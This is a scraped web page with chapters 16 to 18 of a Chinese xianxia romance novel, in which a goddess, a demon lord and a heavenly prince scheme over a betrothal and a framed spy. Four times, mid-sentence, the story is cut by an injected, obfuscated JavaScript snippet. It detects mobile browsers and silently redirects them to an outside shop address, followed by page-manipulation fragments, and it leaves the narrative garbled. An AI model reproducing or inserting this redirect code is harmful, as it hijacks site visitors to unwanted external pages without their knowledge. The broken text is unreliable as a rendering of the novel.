月光斜打在他身上,落入发丝间散着银色的光。只见他双手抱环倚在墙边,朱唇轻抿成一道好看的弧度,漾着令人目眩的笑容。 可这抹笑落在斩秋眼中却分外碍眼。 “魔尊误会了,我倒是没想过会是你亲自前来。” “是吗?”百里及春慵懒的目光随意地落在斩秋身上,似乎并不在意她话中真假。 反倒是斩秋目不转睛地盯着他看,好像欲从中窥探出什么一般。 譬如他此番前来的用意。 他故意挑在这个时候将元疏送来,是为借此窥探密道的位置。只是他为何要这么做?若是有事要与她说,何故不派人传信与她,偏偏要选这么一个充满威胁意味的法子。 斩秋略一思忖,问:“你如此大费周章却未带一兵一卒前来,应是没有打算与我缥缈境为敌罢?” 她与百里及春并无过节,如今又与他有交易在身,他没有理由攻打缥缈境。可转念一想,缥缈境毕竟地势特殊、易守难攻,又是整个仙界中离天宫最近的一方地界,若是百里及春有意与天宫为敌,很难不对此地动心。 疑问抛出,后者却迟迟不答,惹得斩秋蹙眉又补上一句:“别忘了你我之间乃是合作的关系。” 此言不知是在提醒百里及春他们二人如今的处境,还是在安自己的心。 “自然。”百里及春回道。 斩秋这才松了眉毛,直了直身板将手负于身后:“所以你此番前来到底想做什么?” 但见他仍是一副云淡风轻的模样,转首望向一旁的枯树,看了好一会儿才轻飘飘地问了句:“你何时回天宫?” 这话问得没头没尾,斩秋朝他看去,面露不解。 “就在这几日,怎么了?” “本座与你一同前去。”百里及春突然转回头来,回望进她满是狐疑的眸子里。 “……”斩秋被他大胆的提议说愣了。 回过神后再看他时,才发现此时他的神情不再散漫,反倒有几分坚定。 她忽然意识到他这句话是认真的,不禁眸光微震:“你疯了?”停顿片刻后坚定回绝,“不可能。” 哪怕她对天宫再怎么不屑一顾,也绝不能亲手为其带去隐患。 百里及春看出她的想法,不由放下环抱的手臂朝她走来:“本座知道你在顾忌什么,但如果本座答应你,你所想之事不会发生呢?” “我凭什么相信你?”斩秋冷着脸,心觉他的提议荒唐至极。 “也是。”他顾自点点头,眉宇划过一瞬莫名的落寞。再抬眼时,已是一片清明,“既然承诺不管用,那便换一个吧。” “你若不答应,本座这就回去将濯奇杀了。”他轻声询问,“可好?” 说完根本没打算听斩秋的回答,转身作势离去。 见状,斩秋眼色一暗,手中不知何时多了一把锋利的短刀,刹那间便架在了百里及春白皙秀颀的颈上。 “你当我缥缈境是你想来就来,想走便走的么?” 斩秋不常用刀,出手不知深浅,很快便将他颈间划出一道血痕。 颈上轻微的刺痛感渐渐传来,百里及春停下脚步平视着前方的院墙,语气中听不出什么情绪:“你能拦得住本座吗?” “若在其他地界,我或拦不住你。但魔尊殿下可别忘了,眼下这是在缥缈境。” 话声刚落,未持刀的那只手便朝旁抬起,指尖轻转调弄着什么,只见周身阵光四起,无一片空白之地。 缥缈境内处处布有迷阵,虽然内城的迷阵尚未启动,但只要她动动手指,便可尽数开启。 百里及春却忽地笑了:“斩秋上神真是好生威风。” 顷刻间,他话锋一转,“不过你当真以为本座是孤身前来么?” 斩秋闻言一怔:“什么意思?” 只见他尚笑着,抬手抵上刀刃轻轻向外推去。斩秋一时迟疑不定未有反抗,手臂就这样被他推开缓缓垂落于身侧。 此时百里及春不紧不慢地侧过身来,对上她凝滞的面容:“押送完元疏以后赤龙没有离开。他也入了缥缈境,眼下,应该在……” 他话语一顿,随后说出了让她心寒如冰的三个字:“沉宁殿。” “不可能。夜里我一直待在沉宁殿,若有异样我定会察觉。”她果断回道,然而神情却不如语气那般坚定。 “是吗?若他先你一步潜于殿中呢?” 如今灵衫尚未完全恢复,若赤龙的修为与灵衫相当,或许真的可以做到不让其发觉地潜入殿中。而她确实在元疏与裘安那耽误了一些时间方才回到沉无殿,若那时赤龙便已在殿内,那她的确不会有所察觉。 想到这里,斩秋的脸色逐渐僵硬,看向百里及春的眼神也阴戾起来:“你威胁我?” “本座亦不想走到这一步。” “魔尊消息这样灵通,想必知晓上一个拿灵衫威胁我的人是什么下场吧?” “自然。”百里及春好似并未发觉此间二人的氛围应已到达剑拔弩张的地步,不咸不淡地回答,“斩秋上神重情重义,实在令本座钦佩。只是你原本就还欠本座一个条件,只要你答应此事,你我之间的账便就此抵消,如何?” “百里及春,你究竟想做什么?”斩秋拧着眉,目中沁着森凉,一字一句地问道。 “不过是想去见一个朋友,你不必如此提防。说不定等到了天宫,你还会有需要本座帮忙的地方。” 见她犹豫不定,他又迈前一步,语气严肃起来:“本座答应你,此行不会做出出格之事。” 他一边说着,一边慢条斯理地抬袖虚抚过颈间,被刀划出的伤痕转瞬愈合,没有留下任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却见斩秋居高临下地睇他一眼,眉稍轻挑,丝毫不掩骄矜之气。 “陛下乃玄焰真神唯一的儿子,而我虽非真神所出,却由其抚养长大。尽管陛下比我年长了三万岁,可我曾经也是唤过他一声阿兄的。这样说,你可明白?” “你乃陛下之子,按辈分来算,你是要唤我一声姑姑的。” “既然你我成婚是真神生前所愿,我不会推辞。不过……” 说着目光在他身上上下打量了一番,露出一抹笑来,笑里含着说不尽的傲慢与讥弄,幽幽开口。 “我对你这种小孩儿,着实没有兴趣。” 16. 第16章 清晨,晨曦的光洒在了青书院的石子路上,一路向里铺去。此时殿门正敞开着,将淡淡的曙光领进室内,游走于静立在床榻边的男子脚下。 裘安很早便站在此处,视线落在床上还未苏醒的邬霖身上,脑海中浮现的却是梦里斩秋那张讥弄的脸。 他为何会做如此奇怪的梦?而且这个梦竟如此真实,就好像…… “殿……殿下。”身旁虚弱的声音突然响起,打断了他的思绪。 裘安回神,这才发觉邬霖已经苏醒,撑着手肘几欲起身。 他轻拂衣袖冲其摇了摇首,声音淡漠:“不必起来。” 邬霖闻言止了动作,却是急切地开口:“属下失察,中了计,不知是否连累了殿下?” 话落,裘安神情微动,并未吭声。后者见状登时了然,惭愧之意爬满了他那张本就苍白的脸。继而撑着坐起身,双手抱拳于胸前:“属下无能,请殿下责罚。” 裘安听罢微微敛眉,平日里他最不喜听到的便是认错这种无用之语,一时面色稍显不耐,双目也蒙上了一层薄薄的冷意。 “你已伤成这样,还要我怎么责罚?” 邬霖抱拳的双手一颤,手指不觉收得更紧了些,就这么举在半空不敢放下。 刹那间,殿内静得只剩下他的呼吸之音。 “罢了,说说那日究竟是怎么回事。”裘安见状轻叹一息,摆摆手道。 邬霖聚神回想那日的情形,慢慢叙来:“回殿下,那日属下查完回元之事回来,入朝云门时已是丑时。是以属下并未往朝云殿去寻殿下,而是打算返回席月斋。返回途中察觉到廊下有人,属下追去一看,发现来者居然是斩秋上神。” “斩秋上神被属下发现后面色慌张,匆忙往东而去。属下以为她做了什么对殿下不利之事,欲抓个现行,于是继续追了过去。孰料方一追至东门便无法移动,这才发现自己已置身一片结界之中。” “属下知道自己中了计,本欲破阵,可全身经脉被锁,动不得分毫。再然后……只觉胸口一阵剧痛,就……就此没了意识。” “嗯。”裘安听完面无表情地颔首,沉吟道,“能在你去往席月斋的必经之路上设伏,说明她对朝云宫的布局甚是了解。” 可她不是刚回九重天么,如何做到对他宫中布局了如指掌的? 朝云宫在他入主之前乃是一座空殿,本是天帝为他母神所留,就算千年前斩秋仍在天宫,也不可能常去此地。 思忖半晌无果,裘安没再细想,转头问道:“回元呢,查到什么了?” “属下在万器卷宗里的确查阅到回元二字,只是未注明其为何物。不过卷宗里记载到,一千年前,陛下正是此物最后经手之人……” 邬霖话语一顿,抬眸低声问道:“殿下不如亲自问问陛下?兴许能得答案。” 裘安缓缓转过身去,不置可否。过了半晌,只吩咐他一句好生修养便提步而去。 出了青书院,他在门外随意指了一名侍者过来,对其问了句:“斩秋在何处?” “殿下此刻应在沉宁殿中。”侍者玲珑回道。 “带路。” “……”玲珑闻言身形微震,面露难色,半晌才怯生生道,“沉宁殿乃内城宫殿,旁人无召不可擅入。” “哦?你再看看,本殿也算是旁人么?” 裘安的话随意抛落,却渗着道不尽的寒意。 分明是叫人抬眼瞧他,可话一落地便教玲珑狠狠埋下了头,目光不敢抬起半分,浑身不受控制地颤抖着。 她自然知晓眼前之人的身份,其乃天宫二殿下,亦是与自家殿下定有婚约之人。 可在缥缈境中,侍者唯一侍奉的神主唯有斩秋。没有她的命令,不能擅带任何人进入内城。 更何况内城法阵密布,就算她有这个胆子将天宫二殿下带过去,也没那个胆子承受他因此受伤或者比此更严重的后果。 眼下她这进也不是,退也不是。 早知这天宫二殿下是如此脾性,她今日就不该答应帮云雀的忙,替她前来侍候。玲珑心下愤愤悔道。 就在她以为自己短短百年的仙途就将要在此处尽断时,身后传来一阵足音,随之而来的还有一道熟悉的声音。 “你欲寻我,遣人传话便是。无召不入内城乃我缥缈境的规矩,二殿下何苦因此为难她?” 玲珑应声回首,如同看见救星一般,夺步奔向斩秋,待至其身旁委屈巴巴地轻唤了一声:“殿下!” 斩秋安抚性地拍了拍她的肩膀,柔声道:“你先下去罢。” “是。”玲珑说完便脚底抹油似的,飞快逃离了这个是非之地。 “你寻我有何事?”斩秋朝裘安走近两步,负手问道。 后者没有搭话,深幽的目光带着几分审视的意味在她清冷的面上盘旋。 与昨夜梦中的模样…… “一点儿也不像。” 如此莫名其妙的话轻声落下,听得斩秋一头雾水:“你说什么?” “没什么。”裘安露出一抹极淡的笑,说起正事,“邬霖醒了。” 斩秋过来本就是为了询问此事,听他主动提及不由眉眼舒展,欲早些回到天宫与天帝禀明退婚一事:“好。何时启程?” “三日后吧。”裘安轻描淡写地回着。 听他说完,斩秋轻轻颔首,不欲久留。 孰料转身时身后再度传来裘安的声音。 “对了,有一件事令我有些好奇。” 她驻足回首:“何事?” “邬霖说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633939|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在朝云宫内中伏。”裘安的话未说尽,似乎是在点她。 斩秋闻言挑眉,知道他接下来要说什么,在她设伏之际就已想到这个结果。像他这般谨慎之人,一定会细细询问邬霖当日的情形,不放过其中任何错漏之处。 只可惜这一次,他眼中所谓的“错漏”,是她有意为之。 裘安本以为她会着急辩解,抑或是故作无知,却没想到她只是平静地看着自己。 在她那双清澈的眼瞳中,他仿佛看出了几分轻视挑衅之意。 似乎在说着:“那又如何?” 此刻裘安骤然恍悟。 ——她是故意的。 想要对邬霖不利,分明有许多可以动手之地,譬如在他去往岭遥台与师尊传信的路上。又或是像他对付灵衫这般,将邬霖诱使到自己的地盘,中伤其后再将其丢回朝云宫。 可她不是。她在朝云宫中将邬霖耍得团团转。 这分明是在通过此事告诉他,就算是在他的地盘,她想要动手,也是易如反掌。 裘安双拳紧握,面色紧绷得像是在克制着什么情绪,寒声道:“斩秋,这是你的警告吗?” 话音甫落,但见她静如止水的面庞忽然绽出一抹笑,笑中掺着三分在她脸上不常见到的揶揄:“二殿下言重了。” 她说着缓缓敛起笑容,朝裘安走近一步,意味深长道:“只要二殿下日后离我和我的人远点便好。” - 转眼已是三日后,众人启程返回天宫。 只是来时的五人如今变成了六人,惹得裘安朝斩秋那旁的飞辇望去。 此时斩秋身旁除了灵衫,还添了一名女子。诚然,她想要从缥缈境中多带一名仙侍回到天宫侍奉也没什么不妥,只是那名女子他见过,乃是玲珑。 奇怪的是,几日前的玲珑虽仍旧是这副面庞,但是身形吗...... 有这么高么? 注视半晌,裘安的唇边漫出一丝寒凉的笑意,仿佛明白了什么。随后收回了目光,与元离、邬霖一同进入车辇。 斩秋站在飞辇前,看着眼前百里及春的模样,难免有些忍俊不禁。 说到底还是她的化形术太过糟糕,只能换容不能换形。 早前她下界游玩时向来以真容示人,直到有一日在人间醉酒,醒来后父神告诉她她惹了大祸。 虽不知父神口中的祸端是什么,但她瞧父神那羞愧愤恼的表情,便知是自己又给父神丢脸了。从那以后她便暗下决心,再出去“闯祸”时,一定不能以真面目示人。 可惜她只顾着给自己换一张脸,从未想过要换一副身体,是以对此术未曾细细钻研。 与此同时,百里及春正低头看她,声音冷冷地洒下来。 “好笑么?” 17. 第17章 斩秋闻言正了正色,很快钻入飞辇中。灵衫与百里及春也随之上去。 坐定后,一直沉着脸的百里及春忽然开口,语气不咸不淡:“裘安方才看这边了。” “我知道。”斩秋轻轻抬眸,“你如今的模样,想不惹他怀疑也是挺难的。” “不过我本来也不在乎他是否发觉有异。就算他知道这张皮囊之下并非玲珑又如何?只要不知道是你百里及春便好。” 斩秋挪了挪身子钻到飞辇角落寻了个舒服的姿势,双腿交叠,一副准备小憩的模样。 她眯眼打了个哈欠,又道:“反正只要他看破不说破就行了。” “你倒是很信任他。” 信任?斩秋挑眉,昏昏欲睡的眼里划过一丝冷笑。未几转过头去,面对着车壁阖上了眼。 “如果了解也算一种信任的话,也可以这么说。他此时此刻一定想着,要怎么利用这个机会来对付我呢。” 她的口吻轻松,似乎对于即将面临的危险并不关心,又或是对于如何处理潜在的危机胸有成竹。 百里及春尚不知她属于前者还是后者,一双幽瞳就这么盯着她懒散又不设防的姿态,深思游走。 一炷香后,九重天宫。 斩秋是被灵衫唤醒的,醒过神时眼底闪过一缕惊讶。 没想到这么短的路途她竟真的睡着了。 同样感到诧异的还有灵衫,回想这些时日,殿下唯一的安枕之日便是在魔界的那一夜。思及此,目光若有若无地扫向一旁的百里及春,神色晦暗不明。 仅一瞬,灵衫便已移开视线,安静地守在斩秋身后朝南天门而去。 入南天门时,守护天门的天将神色有些古怪,好像盼着他们回来一般。 就在斩秋感到今日天宫气氛有异时,更奇怪的一幕出现了。 只见裘旭大步流星地走来,神情凝重地看着他们:“斩秋,安儿,你们都随我去万虚殿。” 万虚殿?难道是陛下唤他们过去? 虽说她回天宫后原本打算做的第一件事就是去万虚殿,和陛下禀明她与裘安退婚一事。但是陛下怎么会主动寻他们,莫非他已经知道了? 可裘安待在缥缈境内的几日无法向外界传递消息,陛下又如何会知晓? 一时心中思绪万千,斩秋忽觉不安,上前询问:“出了何事?” 裘旭循声看她,眼里闪过一抹厉色,并未回答她的问题,只道了一句:“随我一去便知。” 许是心中忐忑,从前走了无数遍的通往万虚殿的路,今日显得尤为漫长。 还未踏入殿门,便远远地瞧见殿堂之上跪着一名女子。 女子一身素衣,凌乱的乌发散落于后遮挡了她的身形。仅是背影,斩秋辨认不出女子来历。待入殿后行至女子右侧,方才认出了她。 斩秋眉头一皱,察觉到不对,表情瞬间凝重起来。依她以往的经验,凡事只要与涂千羽沾上边,绝对没好事。 感知到身旁动静的涂千羽抬起头,如同抓住了救命稻草一般对斩秋唤道:“殿下!殿下救我!” 短短几个字,从她的口中道出却添了几分暧昧。 斩秋侧目看她:“你与我很亲近么?你知道你这样做于我意味着什么吗?” 她尚且不知涂千羽因何罪被押于此,但无论她犯了何事,此番突如其来的求情无异于将她陷入与其同谋的难堪境地。 “殿下……我……我……”涂千羽虚弱的脸上有明显的闪躲,支支吾吾半晌也未道出一句完整的话。 斩秋冷着脸朝她迈近一步,居高临下地睇着眼前这个看似无辜柔弱的女子:“你好大的胆子,竟敢攀咬到我身上来。” 她的声音不大,可其中寒意却足以威慑后者。 涂千羽身形一僵,反应过来后连忙垂下脑袋,伏地颤栗,叠声请罪:“殿下,殿下饶命……我没有……” 斩秋没有理会她的讨饶,轻轻侧回身来面向正前方垂首行礼,目光向下,脸上看不出什么表情:“陛下,我与此女无甚交集,亦不知她犯了何事。” “既然不知她犯了何事,何必这么早就撇清关系呢。”回应她的不是天帝,而是站立在她身旁的裘安。 她转首望去,却见裘安并未看她,而是饶有趣味地盯着垂首伏地的涂千羽。 说来奇怪,裘安这几日分明与她一起在缥缈境待着,理应与她一样对天宫发生之事一概不知。 可为何面对眼前这莫名其妙的一幕,他却神色轻松,一副事不关己、甚至有几分看好戏的模样。 唯有她不明所以。 “此女是旭儿从幽境阵眼中带回来的,”一直未吭声的天帝忽然启口,“这些时日,旭儿命人安排了一出好戏,将锁魂塔埋在幽境深处的消息放了出去,为的就是引那与魔族勾结之人现身。” 天帝说完又看向斩秋,一脸柔和,“秋儿,朕唤你前来并非怀疑你与涂千羽有何关系,朕知道,幽境之事你也出了力。只不过涂千羽对于她为何出现在幽境闭口不言,唯独说要见你,还说你能证明她的身份。” 斩秋听完明白过来,原来涂千羽今日是被当作勾结魔族的奸细押于此地的。 可那日误入幽境阵法的人不是灵衫吗?她破阵将灵衫救出之后阵便已毁,哪来的法力困束后来之人? 诸多疑问从斩秋脑海冒出,思忖一番过后,心下有了答案。她终于知晓为何裘安在面对今日一事时能如此淡定了。 斩秋再次将目光投向裘安,而这一次他也回应了她的视线。 只见他的眉梢不着痕迹地轻扬了一下,眼底藏着鄙薄的笑意,好似挑衅,又好似在以一个胜利者的姿态可怜她。 这一切都是裘安一手安排的。 可眼下斩秋来不及思考他设此局的目的是什么,抬手作礼道:“陛下明鉴,我并不知涂千羽为何会出现在幽境。但若说起她的身份……” “一千年前我下界游历,经过涂隐山时正巧遇见了被赶出山门的涂千羽。那时的她浑身是伤,仙元受损。我见其可怜,便将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633940|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她带回了天宫医治。” “据我所知,她的确是涂隐山弟子,至于她为何被赶出涂隐山,我未曾问过。将她带回天宫之后亦没见过面,因此有关她更多的事……” 斩秋抬起眼,话声平静:“我一概不知。” “不,不是这样的!”涂千羽拼命摇首,见斩秋不留半点情面,随即眉头一拧,大声道,“殿下,前几日我们在执月阁见过!” 若涂千羽不提起,斩秋倒是真要忘了她们在执月阁外见过一面,她还将涂千羽罚到乘安殿跪着。 涂千羽莫不是为了报那一日跪地之罚才非要将她拖下水罢,可她又为何会与裘安扯上关系? 斩秋心中思索着,一时出神没有作出回应。 然而“执月阁”这几个字眼落入天帝耳畔,不禁令其微微眯眸:“秋儿何时去了执月阁?” “就是从魔界归来那日。”身旁的裘安抢先一步替她答道。 话音落下,她终于回过神来,登时心底一紧。 天帝本就多疑,那日从魔界回来后也交代过,调查与魔族勾结的奸细一事交给裘旭去处理,她和裘安不必插手。 而她却在那日去了执月阁,还与妙云要走了名册。如此俨然违背了天帝的命令,这是不争的事实。 此事裘安与裘旭都知晓,亦知道她此举是为了什么,可他们未必会在这个节骨眼帮她辩白。 裘旭向来疼爱裘安这个弟弟,自是不愿看到他被搅进自己这趟浑水中。 而她也不愿将妙云牵扯进来。 就在斩秋心下思考如何编造一天衣无缝的借口时,裘安上前一步,走到她身侧接着说道:“父皇,那日是我与斩秋一同前去的。” “哦?你们去执月阁做什么?”天帝挑眉,含笑问道。那张和蔼的面庞虽带着笑,可那笑里却透着一丝微不可察的寒意。 “回父皇,儿臣是为了查阅记载有关上古神器苍竹的古籍。您有所不知,那日在魔界,斩秋与儿臣被他们带入了遗光塔,然而在塔内斩秋却与儿臣走散了。” “遗光塔中机关重重,被锁塔中的又都是穷凶恶极之辈。斩秋虽擅武,但终究因为这些年为真神守灵耗费不少神力,又没有一件称手的法器在身,故而险些被那些关在塔中的魔族伤到。” “经此一事,儿臣便想到了苍竹。传言苍竹乃上古利器,哪怕是修为不高之人也能驱使,且其一旦认主,便有护体之效。儿臣想要寻得苍竹赠予斩秋。一来是为了让她自保,二来则是想要以此为聘。” “此事儿臣事先没有告知父皇,是儿臣的错。只因儿臣与斩秋虽有婚约,却未定婚期,故而不好大肆张扬。不过今日既然说起此事,儿臣以为,择日不如撞日,儿臣与斩秋的婚期是否可以就此商定下来?” 话声甫落,斩秋身形一震,犹如五雷轰顶,不可置信地看向裘安。 但见他施施然转过头来,目中含笑将话抛给她,分明温润的声音却宛如一泼凉水从她头顶浇下。 “斩秋,你觉得呢?” 18. 第18章 诚然,就算她将实情说出,于她而言非但毫无益处,还会牵连帮助她的妙云。更何况这也证明不了她与涂千羽毫无瓜葛,相反还会在天帝心中埋下一个猜忌的种子。 可要让她硬着头皮朝裘安递来的台阶往下下,她不甘心。 思及此,她不由双拳紧握,克制着身体因愤怒而产生的颤抖,衣领之下细嫩的脖颈也逐渐泛起青筋。 “哈哈哈哈,我儿当真是长大了。”天帝听罢颔首大笑,俨然将涂千羽一事抛之脑后,视线一扫,落在了斩秋身上。 见她脸色苍白,不免有些好奇,“秋儿为何瞧着并不欢喜?” 斩秋闻言垂目,她好不容易从裘安手中拿到的退婚书,如今便是废纸一张了。 这叫她如何笑得出来。 可眼下并不是算账的时候,她需要冷静,此事并非没有转圜的余地。只要婚期一日未定,便有一日的机会。遂抬起眼,淡然回道。 “二殿下既说了要以苍竹为聘,眼下还未寻得苍竹,婚期之事亦无需急于这一时。” 她话语委婉,却尽显回绝之意。 察觉到她的态度,天帝眉间不着痕迹地轻皱了一下。 斩秋是他看着长大的,他也一直将其视作家人宠爱,可谓九重天上除了天后以外最为尊贵的神女。 她是有挑拣的资格,但在此婚事上不行。 哪怕他再不重视裘安,那也是他的儿子,如何能让旁人瞧轻了去。 天帝犹笑着,声音却没了先前的温度:“秋儿说得也不错,既然如此,你们的婚期便待安儿找到苍竹之后再定罢。” “谢陛下恩典。”斩秋拱手道。 了却一事,重心又回到幽境一案上,天帝敛起笑容,神情又恢复以往的威严冷厉,朝下方跪着的涂千羽说道。 “朕已如你所愿将斩秋请来,可这并未替你洗去任何嫌疑。如今你还有何话要说?若你就此如实招来,朕或许可以网开一面。” 涂千羽身体颤抖着,头微微侧了一下,低垂的目光似乎在寻找裘安的身影,不过很快便收了回去,蓦地叩首在地。 她细微的动作旁人没有瞧见,却被斩秋尽收眼底,不禁眉眼一冷。 “还是什么都不肯说么?”天帝逐渐失了耐心,眼底尽是被愚弄的怒意,长袖一挥,轻描淡写地便下了旨意,“将她押入罪仙塔。待她何时肯开口了,便何时放出来。” 涂千羽闻言猛地抬首,如梦初醒一般,拼了命地摇头,哭喊着求天帝开恩。 罪仙塔是什么地方,但凡被关入罪仙塔之人,就没有一个能从里面完整无缺地走出来的。说得好听是关押罪徒之处,实则乃是一个活地狱。 然而任凭她怎么哭喊,天帝都恍若未闻,直接起身离开了大殿。 一直立在一旁的裘旭见天帝离开,也不打算过多停留。本欲上前与裘安一道离开,腿脚却在迈出一步后生生停了下来。 哪怕他再迟钝,也能看出此刻裘安与斩秋之间的氛围古怪。是以默默调转了方向,先行离去。 一时间宽阔的大殿中央只剩下斩秋与裘安。 二人都没说话,殿内陷入了一阵异样又绵长的沉默。 不知过了多久,斩秋率先开口打破了这段沉寂:“涂千羽是你安排的。” 她的语气并非质问,而是在阐述事实。 “是。”裘安漫不经心地勾起唇角,似乎并没有在她面前掩藏的打算。 “你为何要这样做?” 为何这样做? 裘安挑眉,他原本的确是想给斩秋一些教训。哪怕父皇并不会全然相信涂千羽的一面之辞,也势必会在心中对斩秋有所猜忌。 猜忌既生,便会如杂草般疯长,父皇予她的优待便再也回不到从前。一来,可以搓搓她的锐气。二来,可以顺势将此作为日后推辞这门婚事的理由。 可不知为何,方才在斩秋面对父皇的质问沉默无言时,明明仅差一步便棋局已定,他却动摇了。 脑海忽然闪过那日她向自己提出退婚的画面,还有那日她让自己离她远点时厌恶的表情,心下登时改变了主意。 他知道,是逆反心在作祟。 “你权当我是觉得有趣罢。神生漫漫,总要寻些乐子打发才是。” 听见他这般无所谓的口吻,将婚事当作打发时光的乐子,斩秋的眉眼又冷了几分:“那涂千羽呢,她又为何会不惜以性命为代价地配合你?” “我自是开出了足以让她豁出性命的条件。” 斩秋听罢忽然长长笑了一声,像是听见什么不得了的笑话一般,原来性命在他眼里也是可以随便交易的筹码。 再抬眼时,迎上他冷峻又疑惑的眼神,斩秋敛眉低声咒道:“裘安,你有病。” 在他那日陷害灵衫入逆生阵时她就应该猜到。她为了救灵衫出去破了阵法,阵法被破却无人落网于阵中,那裘安与裘旭要如何与陛下交代? 自然是找一个替罪羊。 而那人便是涂千羽。 “你不是最在乎天宫的利益了吗?可你竟然为了算计我,不惜错失抓住真正奸细的机会,找一个无辜之人来顶罪。裘安,你可真是一个道貌岸然的伪君子。” “无辜之人?”裘安淡漠道,“涂千羽起初是被我抓来被迫背上了魔族奸细的身份,可我后来也答应给她她想要的东西。如此公平的交易,她谈何无辜?” “至于我,伪君子……”他垂眸顿了顿,又走近几步,在斩秋面前一字一句地问,“我又何时说过,我乃君子?” 殿外,灵衫见斩秋一脸阴沉地出来,连忙提步迎去。 “殿下,出了何事?” 斩秋扫了一眼一旁的百里及春,对灵衫道:“先回秋茗宫吧。” 灵衫默契地没在此追问,轻轻颔首走在斩秋身后。 为了方便将百里及春看在眼皮底下,斩秋特意安排他住在秋茗宫东配殿——齐星斋。 随意交代了几句,她便携灵衫往正殿而去,丢下百里及春一人矗在原地。 见她似打发累赘一般将他丢在这里不管不顾,百里及春的脸色瞬间阴沉得欲滴出水来。 驻足半晌,终究没能控制住,拔步便往外去。 待他行至正殿窗侧,正要继续朝大门走去时,里头谈话的声音徐徐传来。 “殿下的意思是,若他寻得苍竹,您与他的婚期便要提上日程了么?” 一语落下,迟迟不见后者回答。 窗侧的百里及春脚下一滞,眉宇微顿,不知在等什么。 直到片刻后,里面又传来一声很轻的回答,只道了一个字。 “是。” 闻言百里及春没有再往前,转身从另一侧绕到廊下,朝着秋茗宫北门而去。 “没有回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633941|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋的余地吗?” 这厢殿内灵衫凝着眉,追问道。 斩秋缓缓垂下脑袋,望着地面上古老的花纹,眼底透出一抹回忆的神色。 上一世她与裘安的婚期最初定在一年以后。可那时裘安临危受命前往妄墟山,大婚之事便只能往后延了五年。五年后裘安归来时身负重伤,婚期再度推迟。 就这般反反复复,一次接着一次的意外,使得大婚一直延后了几十年。 从前不曾仔细想过,只觉婚事一拖再拖正合她意,反正她起初也不想嫁给裘安。 如今想来,这世上哪有那么多巧合,只怕一切都是裘安刻意安排。或许他也不想与她成婚,从前的百般讨好不过是为了瞒过天帝演的戏罢了。 可他为何在继位天帝之后还要与她成婚呢? 那时的他明明已无需再受任何人摆布了。 “殿下,您在想什么?” 灵衫的声音拉回了斩秋飘远的思绪。她回过神来,神情认真:“我在想……究竟是哪里不一样了。” “什么?”灵衫不懂,问道。 “自我在缥缈境苏醒以来,除了婚约一事没有改变,其余的一切都不同了。若换做从前,裘安不可能主动提及这婚期一事。所以我在想,这一切到底是从哪里开始改变的?” 见她一片愁容,灵衫不由也蹙起眉,心底思索着如何才能帮到殿下。 斩秋抬眸,看见灵衫眉头紧锁一副沉思模样,欣慰地展颜:“我都想不通的事,你就别想了。其实改变也并非全然不好,这样说不定裘旭和裘霜……” 说到此处话语一顿,目光变得柔软起来。 还有你,灵衫,你们的结局也一定能被扭转。 - 翌日清晨,百里及春方才回到秋茗宫。 只是他前脚刚迈进秋茗宫,身后便响起了一道戏谑的声音,使他脚步一顿。 “你不是玲珑吧。” 他自是认出了声音的主人,在这九重天宫,还有谁能对着他唤出“玲珑”二字? 心下一哂,百里及春不急不缓地转过身去。 哪怕是这样一张娇俏的脸上竟也浮现出一副张狂自负、唯我独尊的模样。 只是这轻视的姿态为何有些熟悉?裘安墨瞳里透出一分冷冽:“我还真有些好奇,这张面庞之下藏着的究竟是谁。” 说罢袖袍中的手轻拂了一下,好似下一瞬便要用法力现出他的原型。 百里及春却不以为意。 他并不在乎裘安看见自己的真面目,反倒还有一些期待他看见后会是何表情。 就在对面一道月白色的光朝他劈来之际,手腕骤然一紧,一抹熟悉的身影挡在了他的面前。 “住手!”斩秋大声喝道,另一只手朝上一挡,顿时逸出一道光芒,化作屏障向外击散了冲力。 今晨她本是去齐星斋欲寻百里及春询问濯奇的近况,孰料齐星斋里半点人影都没有,担心其闹出事端,她这才与灵衫分头寻找。 幸而她才刚走到宫门便找到了百里及春,只是没想到裘安也在此处。 百里及春的视线随着肌肤传来的温度向下移去,落在了斩秋紧握在他腕间的手上。 只听身前的她沉声开口,话声里盛满了怒意。 